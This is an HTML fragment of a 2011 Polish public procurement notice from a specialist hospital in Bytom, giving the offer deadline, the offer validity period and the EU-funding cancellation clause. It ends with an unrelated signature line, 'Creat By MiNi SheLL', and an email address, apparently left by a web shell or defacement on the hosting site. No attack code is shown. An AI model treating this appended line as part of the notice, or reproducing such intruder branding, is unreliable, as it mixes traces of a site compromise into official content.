<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 14.11.2011 godzina 08:30, miejsce: Szpital Specjalistyczny nr 1 ul. Żeromskiego 7 41-902 Bytom Zamówienia Publiczne (blok III, piętro IV, pok.3).</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com